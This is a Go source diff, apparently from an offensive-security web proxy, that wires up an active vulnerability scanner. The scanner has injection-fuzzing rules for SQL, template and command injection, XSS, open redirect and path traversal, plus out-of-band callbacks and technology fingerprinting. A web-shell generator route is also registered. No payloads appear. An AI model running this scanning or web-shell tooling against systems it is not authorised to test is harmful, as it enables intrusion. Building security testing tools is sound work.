func (s *APIServer) StartTechLoop(ctx context.Context) {
|
||||
if s.techEngine == nil {
|
||||
return
|
||||
}
|
||||
go s.techEngine.Run(ctx)
|
||||
}
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
@@ -32,6 +33,16 @@ type activeScanRequest struct {
|
||||
RequestID string `json:"requestId,omitempty"` // a captured request to scan
|
||||
Rules []string `json:"rules,omitempty"` // rule IDs; empty = all
|
||||
BudgetMs int `json:"budgetMs,omitempty"`
|
||||
|
||||
// Template-signature rule options. Tags and Severity narrow which signatures
|
||||
// run; IgnoreFingerprint skips technology gating and runs every eligible one.
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
Severity []string `json:"severity,omitempty"`
|
||||
IgnoreFingerprint bool `json:"ignoreFingerprint,omitempty"`
|
||||
// OAST opts out-of-band testing in or out when a listener is configured; nil
|
||||
// (omitted) leaves it on, false turns it off. It never enables OAST when no
|
||||
// callback domain is configured — that gate is server-side.
|
||||
OAST *bool `json:"oast,omitempty"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -68,9 +79,13 @@ func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request
|
||||
|
||||
rules := s.activeScanRules.Resolve(req.Rules)
|
||||
cfg := activescan.Config{
|
||||
Scope: req.Scope,
|
||||
Rules: req.Rules,
|
||||
BudgetMs: req.BudgetMs,
|
||||
Scope: req.Scope,
|
||||
Rules: req.Rules,
|
||||
BudgetMs: req.BudgetMs,
|
||||
Tags: req.Tags,
|
||||
Severity: req.Severity,
|
||||
IgnoreFingerprint: req.IgnoreFingerprint,
|
||||
NoOAST: req.OAST != nil && !*req.OAST,
|
||||
}
|
||||
total, err := activescan.Plan(cfg, target, rules)
|
||||
if err != nil {
|
||||
@@ -104,6 +119,8 @@ func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request
|
||||
Store: s.store,
|
||||
Scope: s.scope,
|
||||
DataDir: s.cfg.DataDir,
|
||||
Tech: s.techStore(),
|
||||
Callback: s.cbStore,
|
||||
},
|
||||
}
|
||||
// context.Background, not the request's: a scan outlives the HTTP call.
|
||||
@@ -130,7 +147,11 @@ func (s *APIServer) resolveScanTarget(req activeScanRequest) (activescan.Target,
|
||||
}
|
||||
}
|
||||
|
||||
// hostTarget collects a host's unique GET URLs from the capture store.
|
||||
// hostTarget collects a host's distinct requests from the capture store, carrying
|
||||
// the raw bytes and method so the injection rules can fuzz parameters (GET query +
|
||||
// POST/PUT/PATCH bodies) and DOM XSS can navigate the GET pages. Distinct by
|
||||
// method+URL+body-shape, so two POSTs to one URL with different bodies both count.
|
||||
// Not capped by a request count — the scan budget bounds the work.
|
||||
func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
|
||||
u, err := url.Parse(origin)
|
||||
if err != nil || u.Host == "" {
|
||||
@@ -140,25 +161,26 @@ func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
|
||||
seen := map[string]bool{}
|
||||
var urls []activescan.TargetURL
|
||||
for _, cr := range reqs {
|
||||
if !strings.EqualFold(cr.Method, "GET") || seen[cr.URL] {
|
||||
key := fmt.Sprintf("%s %s %d", cr.Method, cr.URL, len(cr.ReqRaw))
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[cr.URL] = true
|
||||
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: "GET", RequestID: cr.ID})
|
||||
if len(urls) >= activescan.MaxURLs {
|
||||
break
|
||||
}
|
||||
seen[key] = true
|
||||
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: cr.Method, RequestID: cr.ID, RawReq: cr.ReqRaw})
|
||||
}
|
||||
if len(urls) == 0 {
|
||||
return activescan.Target{}, fmt.Errorf("no captured GET endpoints for %s", origin)
|
||||
return activescan.Target{}, fmt.Errorf("no captured endpoints for %s", origin)
|
||||
}
|
||||
return activescan.Target{Scheme: u.Scheme, Host: u.Host, Origin: origin, URLs: urls}, nil
|
||||
}
|
||||
|
||||
// requestTarget builds a single-URL target from a captured request or a raw URL.
|
||||
// requestTarget builds a single-request target from a captured request or a raw
|
||||
// URL, carrying the raw bytes and method for the injection rules.
|
||||
func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, error) {
|
||||
rawURL := strings.TrimSpace(req.URL)
|
||||
method := "GET"
|
||||
requestID := ""
|
||||
var rawReq []byte
|
||||
if req.RequestID != "" {
|
||||
cr := s.store.Get(req.RequestID)
|
||||
if cr == nil {
|
||||
@@ -166,6 +188,8 @@ func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, err
|
||||
}
|
||||
rawURL = cr.URL
|
||||
requestID = cr.ID
|
||||
method = cr.Method
|
||||
rawReq = cr.ReqRaw
|
||||
}
|
||||
if rawURL == "" {
|
||||
return activescan.Target{}, fmt.Errorf("a request scan needs a requestId or url")
|
||||
@@ -178,7 +202,7 @@ func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, err
|
||||
Scheme: u.Scheme,
|
||||
Host: u.Host,
|
||||
Origin: u.Scheme + "://" + u.Host,
|
||||
URLs: []activescan.TargetURL{{URL: rawURL, Method: "GET", RequestID: requestID}},
|
||||
URLs: []activescan.TargetURL{{URL: rawURL, Method: method, RequestID: requestID, RawReq: rawReq}},
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -191,7 +215,11 @@ func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activesca
|
||||
skipped++
|
||||
continue
|
||||
}
|
||||
if s.scope.InScope(u.Host, "GET", u.Path) {
|
||||
method := tu.Method
|
||||
if method == "" {
|
||||
method = "GET"
|
||||
}
|
||||
if s.scope.InScope(u.Host, method, u.Path) {
|
||||
kept = append(kept, tu)
|
||||
} else {
|
||||
skipped++
|
||||
@@ -200,6 +228,19 @@ func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activesca
|
||||
return kept, skipped
|
||||
}
|
||||
|
||||
// activeRuleSeverity is the representative severity shown for a single-row active
|
||||
// rule in the Rules UI; the actual findings carry their own confirmed severity.
|
||||
func activeRuleSeverity(cat detect.Category) detect.Severity {
|
||||
switch cat {
|
||||
case detect.CategorySQLi, detect.CategorySSTI, detect.CategoryCommandInjection:
|
||||
return detect.SeverityCritical
|
||||
case detect.CategoryOpenRedirect:
|
||||
return detect.SeverityMedium
|
||||
default:
|
||||
return detect.SeverityHigh
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
@@ -207,10 +248,23 @@ func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request
|
||||
rules := s.activeScanRules.All()
|
||||
out := make([]map[string]any, 0, len(rules))
|
||||
for _, rule := range rules {
|
||||
out = append(out, map[string]any{
|
||||
entry := map[string]any{
|
||||
"id": rule.ID(), "name": rule.Name(), "category": string(rule.Category()),
|
||||
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
|
||||
})
|
||||
"description": rule.Description(),
|
||||
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
|
||||
}
|
||||
// hasSignatures tells the UI to render the rule's catalog items as rows rather
|
||||
// than the rule as a single row: any rule implementing Cataloger has a catalog.
|
||||
_, hasCatalog := rule.(activescan.Cataloger)
|
||||
entry["hasSignatures"] = hasCatalog
|
||||
// A single-row rule carries the row's severity/confidence/target (its
|
||||
// representative class severity); a catalog rule's rows carry their own.
|
||||
if !hasCatalog {
|
||||
entry["severity"] = string(activeRuleSeverity(rule.Category()))
|
||||
entry["confidence"] = string(detect.ConfidenceHigh)
|
||||
entry["target"] = string(detect.TargetMessage)
|
||||
}
|
||||
out = append(out, entry)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"rules": out})
|
||||
}
|
||||
@@ -240,6 +294,140 @@ func (s *APIServer) handleSetActiveScanRuleEnabled(w http.ResponseWriter, r *htt
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
// collectDisabledItems gathers every catalog rule's disabled item ids, keyed by rule
|
||||
// id, for the project file. Returns nil when nothing is disabled (exceptions-only).
|
||||
func (s *APIServer) collectDisabledItems() map[string][]string {
|
||||
if s.activeScanRules == nil {
|
||||
return nil
|
||||
}
|
||||
out := map[string][]string{}
|
||||
for _, rule := range s.activeScanRules.All() {
|
||||
if c, ok := rule.(activescan.Cataloger); ok {
|
||||
if d := c.DisabledItems(); len(d) > 0 {
|
||||
out[rule.ID()] = d
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// applyDisabledItems distributes a rule-keyed disabled-items map back onto the catalog
|
||||
// rules on a project restore; a missing key clears that rule's set (everything enabled).
|
||||
func (s *APIServer) applyDisabledItems(m map[string][]string) {
|
||||
if s.activeScanRules == nil {
|
||||
return
|
||||
}
|
||||
for _, rule := range s.activeScanRules.All() {
|
||||
if c, ok := rule.(activescan.Cataloger); ok {
|
||||
c.SetDisabledItems(m[rule.ID()])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// disabledItemsSignature fingerprints every catalog rule's disabled set for the
|
||||
// autosave dirty-check (registration order is stable, so the string is deterministic).
|
||||
func (s *APIServer) disabledItemsSignature() string {
|
||||
if s.activeScanRules == nil {
|
||||
return ""
|
||||
}
|
||||
var b strings.Builder
|
||||
for _, rule := range s.activeScanRules.All() {
|
||||
if c, ok := rule.(activescan.Cataloger); ok {
|
||||
b.WriteString("/ci:" + rule.ID() + ":" + strings.Join(c.DisabledItems(), ","))
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// catalogRule returns the rule with the given id as a Cataloger, or nil if the rule
|
||||
// does not exist or has no catalog. It replaces the old templatesig-specific resolver,
|
||||
// so any catalog rule (template signatures, the injection rules) works generically.
|
||||
func (s *APIServer) catalogRule(id string) activescan.Cataloger {
|
||||
if s.activeScanRules == nil {
|
||||
return nil
|
||||
}
|
||||
c, _ := s.activeScanRules.Get(id).(activescan.Cataloger)
|
||||
return c
|
||||
}
|
||||
|
||||
// handleActiveScanSignatures returns a rule's read-only catalog — one item per
|
||||
// signature or check, with its enabled-state and per-severity counts.
|
||||
func (s *APIServer) handleActiveScanSignatures(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
rule := s.catalogRule(r.PathValue("id"))
|
||||
if rule == nil {
|
||||
writeError(w, http.StatusNotFound, "no catalog for this rule")
|
||||
return
|
||||
}
|
||||
items := rule.CatalogItems()
|
||||
bySeverity := map[string]int{}
|
||||
for i := range items {
|
||||
bySeverity[items[i].Severity]++
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"signatures": items, "total": len(items), "bySeverity": bySeverity,
|
||||
})
|
||||
}
|
||||
|
||||
// handleSetActiveScanSignaturesBulk enables or disables every item of a rule's
|
||||
// catalog in one call — the "Enable all / Disable all" control.
|
||||
func (s *APIServer) handleSetActiveScanSignaturesBulk(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
rule := s.catalogRule(r.PathValue("id"))
|
||||
if rule == nil {
|
||||
writeError(w, http.StatusNotFound, "no catalog for this rule")
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Enabled {
|
||||
rule.SetDisabledItems(nil)
|
||||
} else {
|
||||
items := rule.CatalogItems()
|
||||
ids := make([]string, 0, len(items))
|
||||
for i := range items {
|
||||
ids = append(ids, items[i].ID)
|
||||
}
|
||||
rule.SetDisabledItems(ids)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
// handleSetActiveScanSignatureEnabled toggles one catalog item of a rule. Rule-scoped
|
||||
// because check ids (e.g. "time-based") can repeat across rules. Persists with the
|
||||
// project (projectSignature carries the disabled set), like the rule toggle.
|
||||
func (s *APIServer) handleSetActiveScanSignatureEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
rule := s.catalogRule(r.PathValue("id"))
|
||||
if rule == nil {
|
||||
writeError(w, http.StatusNotFound, "no catalog for this rule")
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
rule.SetItemEnabled(r.PathValue("itemId"), body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanListRuns(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
|
||||
@@ -20,6 +20,7 @@ import (
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
"github.com/hashicorp/go-uuid"
|
||||
)
|
||||
|
||||
@@ -233,6 +234,16 @@ type projectConfigFile struct {
|
||||
// touched them decodes to nil and runs every rule — no normalize gate needed,
|
||||
// for the same reason EchoConfig/Chains above need none.
|
||||
ActiveScanDisabledRules []string `json:"activeScanDisabledRules,omitempty"`
|
||||
|
||||
// ActiveScanDisabledSignatures is the legacy (schema v11) flat list of disabled
|
||||
// template-signature IDs. Read-only now: it is folded into
|
||||
// ActiveScanDisabledItems["templatesig"] on load so old projects still restore.
|
||||
ActiveScanDisabledSignatures []string `json:"activeScanDisabledSignatures,omitempty"`
|
||||
|
||||
// ActiveScanDisabledItems holds each catalog rule's disabled item IDs, keyed by
|
||||
// rule id (schema v12). Generalizes ActiveScanDisabledSignatures to every rule
|
||||
// with a catalog (template signatures + the injection rules). Exceptions-only.
|
||||
ActiveScanDisabledItems map[string][]string `json:"activeScanDisabledItems,omitempty"`
|
||||
}
|
||||
|
||||
// encodePluginStates base64-encodes each blob for transport inside a JSON
|
||||
@@ -373,14 +384,15 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
|
||||
if s.activeScanRules != nil {
|
||||
activeScanDisabled = s.activeScanRules.Disabled()
|
||||
}
|
||||
activeScanDisabledItems := s.collectDisabledItems()
|
||||
|
||||
return projectConfigFile{
|
||||
// v10 added ActiveScanDisabledRules; v9 added EchoConfig; v8 added Chains;
|
||||
// v7 added AutomationStates. None needs a normalizeProjectConfig gate: all
|
||||
// decode to nil when absent, which is the correct default — a backfill
|
||||
// exists only where the zero value would be wrong, as it was for autoSave
|
||||
// and detectEnabled.
|
||||
Version: 10,
|
||||
// v12 generalized disabled signatures to ActiveScanDisabledItems (per-rule
|
||||
// catalog disables); v10 added ActiveScanDisabledRules; v9 added EchoConfig; v8
|
||||
// Chains; v7 AutomationStates. None needs a normalizeProjectConfig gate: all
|
||||
// decode to nil when absent, which is the correct default — and the legacy v11
|
||||
// ActiveScanDisabledSignatures is folded into the map on apply.
|
||||
Version: 12,
|
||||
AutoSave: autoSave,
|
||||
SaveHistory: saveHistory,
|
||||
ListenerURL: listenerURL,
|
||||
@@ -415,6 +427,7 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
|
||||
Chains: s.chainStore.List(),
|
||||
EchoConfig: echoCfg,
|
||||
ActiveScanDisabledRules: activeScanDisabled,
|
||||
ActiveScanDisabledItems: activeScanDisabledItems,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -614,6 +627,7 @@ func (s *APIServer) liveStateSignature() string {
|
||||
if s.activeScanRules != nil {
|
||||
activeScanSig = "/as" + strings.Join(s.activeScanRules.Disabled(), ",")
|
||||
}
|
||||
activeScanSig += s.disabledItemsSignature()
|
||||
return fmt.Sprintf("r%d/s%d/n%d/u%d/h%d/sc%s/rp%d/cd%d/no%d/lc%d.%d",
|
||||
reqCount, lastSeq, noteCount, maxNoteUpdate, hlCount,
|
||||
scopeSignature(s.scope.Rules()), len(s.replace.Rules()),
|
||||
@@ -840,6 +854,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
|
||||
if s.activeScanRules != nil {
|
||||
s.activeScanRules.SetDisabled(cfg.ActiveScanDisabledRules)
|
||||
}
|
||||
// Per-catalog-item disables, keyed by rule id; a missing key clears that rule's
|
||||
// set. Fold the legacy v11 flat signature list into the template rule's entry so
|
||||
// old project files still restore.
|
||||
items := cfg.ActiveScanDisabledItems
|
||||
if items == nil && len(cfg.ActiveScanDisabledSignatures) > 0 {
|
||||
items = map[string][]string{"templatesig": cfg.ActiveScanDisabledSignatures}
|
||||
}
|
||||
s.applyDisabledItems(items)
|
||||
|
||||
// Apply team server settings.
|
||||
s.mu.Lock()
|
||||
@@ -945,6 +967,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
|
||||
detectResp := s.applyDetectProjectConfig(cfg)
|
||||
s.resetDetectCursor(s.store.LastSeq())
|
||||
|
||||
// The fingerprint cursor was just parked forward past the loaded history, so the
|
||||
// live loop would skip it. Backfill the loaded hosts with a background rescan —
|
||||
// tech data is cheap and tag-only (unlike detect's findings, which is why detect
|
||||
// requires an explicit rescan). Clear:true drops the previous project's tags.
|
||||
if s.techEngine != nil && s.store.Count() > 0 {
|
||||
s.techEngine.StartRescan(s.detectBackgroundCtx(), techfp.RescanRequest{Scope: "all", Clear: true})
|
||||
}
|
||||
|
||||
var unknownPluginStates []string
|
||||
if s.pluginManager != nil {
|
||||
unknownPluginStates = s.pluginManager.ApplyProjectStates(decodedPluginStates)
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
)
|
||||
|
||||
// techStore returns the fingerprint store, or nil when fingerprinting is not
|
||||
// wired (listener/team-server mode). The active-scan rule reads it to gate checks.
|
||||
func (s *APIServer) techStore() *techfp.Store {
|
||||
if s.techEngine == nil {
|
||||
return nil
|
||||
}
|
||||
return s.techEngine.Store()
|
||||
}
|
||||
|
||||
// techAvailable rejects requests when fingerprinting is not wired, as in listener
|
||||
// and team-server mode. The routes are also behind the proxy-mode gate in
|
||||
// registerRoutes.
|
||||
func (s *APIServer) techAvailable(w http.ResponseWriter) bool {
|
||||
if s.techEngine == nil {
|
||||
writeError(w, http.StatusNotFound, "technology fingerprinting is unavailable in this mode")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// handleListTechHosts returns every fingerprinted host and the summary counts.
|
||||
func (s *APIServer) handleListTechHosts(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
hosts, techs := s.techEngine.Store().Summary()
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": s.techEngine.Enabled(),
|
||||
"hosts": s.techEngine.Store().Hosts(),
|
||||
"summary": map[string]int{"hosts": hosts, "techs": techs},
|
||||
"scan": s.techEngine.Status(),
|
||||
})
|
||||
}
|
||||
|
||||
// handleStartTechScan re-fingerprints captured history (all hosts, or one when
|
||||
// scope is "host"). Backfills a loaded project's hosts, which the live cursor skips.
|
||||
func (s *APIServer) handleStartTechScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
var req techfp.RescanRequest
|
||||
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
status, err := s.techEngine.StartRescan(s.detectBackgroundCtx(), req)
|
||||
if err == techfp.ErrScanRunning {
|
||||
writeError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, status)
|
||||
}
|
||||
|
||||
// handleGetTechScan returns the current rescan status.
|
||||
func (s *APIServer) handleGetTechScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, s.techEngine.Status())
|
||||
}
|
||||
|
||||
// handleCancelTechScan stops a running rescan.
|
||||
func (s *APIServer) handleCancelTechScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
s.techEngine.Cancel()
|
||||
writeJSON(w, http.StatusOK, s.techEngine.Status())
|
||||
}
|
||||
|
||||
// handleGetTechHost returns one host's technology set.
|
||||
func (s *APIServer) handleGetTechHost(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
ht, ok := s.techEngine.Store().Host(r.PathValue("host"))
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "no technologies recorded for this host")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, ht)
|
||||
}
|
||||
|
||||
// handleSetTechEnabled toggles passive fingerprinting.
|
||||
func (s *APIServer) handleSetTechEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.techEngine.SetEnabled(body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
@@ -178,6 +178,9 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
// scope off is never rejected), proxy-mode only, one run at a time.
|
||||
mux.HandleFunc("GET /api/v1/activescan/rules", s.handleActiveScanRules)
|
||||
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/enabled", s.handleSetActiveScanRuleEnabled)
|
||||
mux.HandleFunc("GET /api/v1/activescan/rules/{id}/signatures", s.handleActiveScanSignatures)
|
||||
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/enabled", s.handleSetActiveScanSignaturesBulk)
|
||||
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/{itemId}/enabled", s.handleSetActiveScanSignatureEnabled)
|
||||
mux.HandleFunc("POST /api/v1/activescan/runs", s.handleActiveScanStart)
|
||||
mux.HandleFunc("GET /api/v1/activescan/runs", s.handleActiveScanListRuns)
|
||||
mux.HandleFunc("GET /api/v1/activescan/runs/{id}", s.handleActiveScanGetRun)
|
||||
@@ -229,6 +232,16 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
mux.HandleFunc("GET /api/v1/echo/scan", s.handleGetEchoScan)
|
||||
mux.HandleFunc("POST /api/v1/echo/scan/cancel", s.handleCancelEchoScan)
|
||||
|
||||
// Technology fingerprinting (the embedded Wappalyzer database). UI-only, like
|
||||
// echo: a passive read of captured traffic that names the stack each host
|
||||
// serves, which the active-scan rule reads to gate its checks.
|
||||
mux.HandleFunc("GET /api/v1/tech/hosts", s.handleListTechHosts)
|
||||
mux.HandleFunc("GET /api/v1/tech/hosts/{host}", s.handleGetTechHost)
|
||||
mux.HandleFunc("PUT /api/v1/tech/enabled", s.handleSetTechEnabled)
|
||||
mux.HandleFunc("POST /api/v1/tech/scan", s.handleStartTechScan)
|
||||
mux.HandleFunc("GET /api/v1/tech/scan", s.handleGetTechScan)
|
||||
mux.HandleFunc("POST /api/v1/tech/scan/cancel", s.handleCancelTechScan)
|
||||
|
||||
// Web shell generator
|
||||
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
|
||||
|
||||
|
||||
@@ -16,7 +16,14 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/cmdi"
|
||||
"github.com/BishopFox/joro/internal/activescan/domxss"
|
||||
"github.com/BishopFox/joro/internal/activescan/openredirect"
|
||||
"github.com/BishopFox/joro/internal/activescan/pathtraversal"
|
||||
"github.com/BishopFox/joro/internal/activescan/reflectedxss"
|
||||
"github.com/BishopFox/joro/internal/activescan/sqli"
|
||||
"github.com/BishopFox/joro/internal/activescan/ssti"
|
||||
"github.com/BishopFox/joro/internal/activescan/templatesig"
|
||||
"github.com/BishopFox/joro/internal/anomaly"
|
||||
"github.com/BishopFox/joro/internal/apiscan"
|
||||
"github.com/BishopFox/joro/internal/automation"
|
||||
@@ -40,6 +47,7 @@ import (
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/sliver"
|
||||
"github.com/BishopFox/joro/internal/team"
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
"github.com/BishopFox/joro/internal/trigger"
|
||||
"github.com/BishopFox/joro/internal/update"
|
||||
"github.com/BishopFox/joro/internal/webhook"
|
||||
@@ -144,6 +152,11 @@ type APIServer struct {
|
||||
echoEngine *echo.Engine
|
||||
echoStore *echo.Store
|
||||
|
||||
// Passive technology fingerprinting (the embedded Wappalyzer database). Nil
|
||||
// outside proxy mode. The active-scan signature rule reads its store to run
|
||||
// only the checks a host's stack warrants. See internal/techfp.
|
||||
techEngine *techfp.Engine
|
||||
|
||||
// detectCtx is the server-lifetime context, so a rescan job can outlive the
|
||||
// HTTP request that started it. Guarded by mu.
|
||||
detectCtx context.Context
|
||||
@@ -327,11 +340,23 @@ func New(
|
||||
s.echoEngine = echo.NewEngine(
|
||||
s.echoStore, store, scope, detectFindings,
|
||||
hub.Broadcast(), s.broadcastDetectSummary)
|
||||
// Passive technology fingerprinting over the same capture store. Built here so
|
||||
// it rides the one cursor-reset path (resetDetectCursor) the other passive
|
||||
// analyzers use.
|
||||
s.techEngine = techfp.NewEngine(techfp.NewStore(), store, hub.Broadcast())
|
||||
// Active-scan rule set. The registry is built here (not a package global, per
|
||||
// the no-globals rule) so the api layer can import both activescan and its
|
||||
// rules without an import cycle.
|
||||
s.activeScanRules = activescan.NewRegistry()
|
||||
s.activeScanRules.Register(domxss.New())
|
||||
s.activeScanRules.Register(templatesig.New())
|
||||
// Injection-fuzzing rules (parameter mutation + differential/timing/OAST).
|
||||
s.activeScanRules.Register(reflectedxss.New())
|
||||
s.activeScanRules.Register(sqli.New())
|
||||
s.activeScanRules.Register(ssti.New())
|
||||
s.activeScanRules.Register(cmdi.New())
|
||||
s.activeScanRules.Register(openredirect.New())
|
||||
s.activeScanRules.Register(pathtraversal.New())
|
||||
// Both stores are built here rather than in SetAutomation, because both outlive
|
||||
// automation: a webhook references a trigger, and neither needs an agent to be useful.
|
||||
// See initTriggers for why the trigger store moved out of newScriptManager.
|
||||
|
||||
@@ -131,13 +131,33 @@ const (
|
||||
// CDP, not the passive rule engine — the payload never reaches the server, so
|
||||
// no captured response could reveal it.
|
||||
CategoryDOMXSS Category = "dom-xss"
|
||||
// CategoryTemplate holds results from the template-signature rule: a crafted
|
||||
// request Joro sent whose response matched a check mined from a nuclei template
|
||||
// (an exposed file, a known-vulnerable fingerprint, a misconfiguration). It
|
||||
// names the finding class, not the mechanism — DOM XSS is also active-scanned
|
||||
// but is its own class (CategoryDOMXSS). Both come from internal/activescan,
|
||||
// not the passive engine: the probe is sent, not observed in captured traffic.
|
||||
CategoryTemplate Category = "template"
|
||||
// The injection classes below come from internal/activescan's parameter-fuzzing
|
||||
// rules: Joro injected a payload into a request parameter and confirmed the
|
||||
// vulnerability from the response (reflection/breakout, DB error, boolean or
|
||||
// timing differential, rendered expression, redirect, file contents) or an
|
||||
// out-of-band callback. Each is its own class, not the mechanism.
|
||||
CategoryReflectedXSS Category = "reflected-xss"
|
||||
CategorySQLi Category = "sqli"
|
||||
CategorySSTI Category = "ssti"
|
||||
CategoryCommandInjection Category = "command-injection"
|
||||
CategoryOpenRedirect Category = "open-redirect"
|
||||
CategoryPathTraversal Category = "path-traversal"
|
||||
)
|
||||
|
||||
// Categories lists every category. See Severities.
|
||||
var Categories = []Category{
|
||||
CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
|
||||
CategoryReflection, CategoryDOMXSS,
|
||||
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
|
||||
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
|
||||
CategoryOpenRedirect, CategoryPathTraversal,
|
||||
}
|
||||
|
||||
// Valid reports whether c is a known category.
|
||||
@@ -145,7 +165,9 @@ func (c Category) Valid() bool {
|
||||
switch c {
|
||||
case CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
|
||||
CategoryReflection, CategoryDOMXSS:
|
||||
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
|
||||
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
|
||||
CategoryOpenRedirect, CategoryPathTraversal:
|
||||
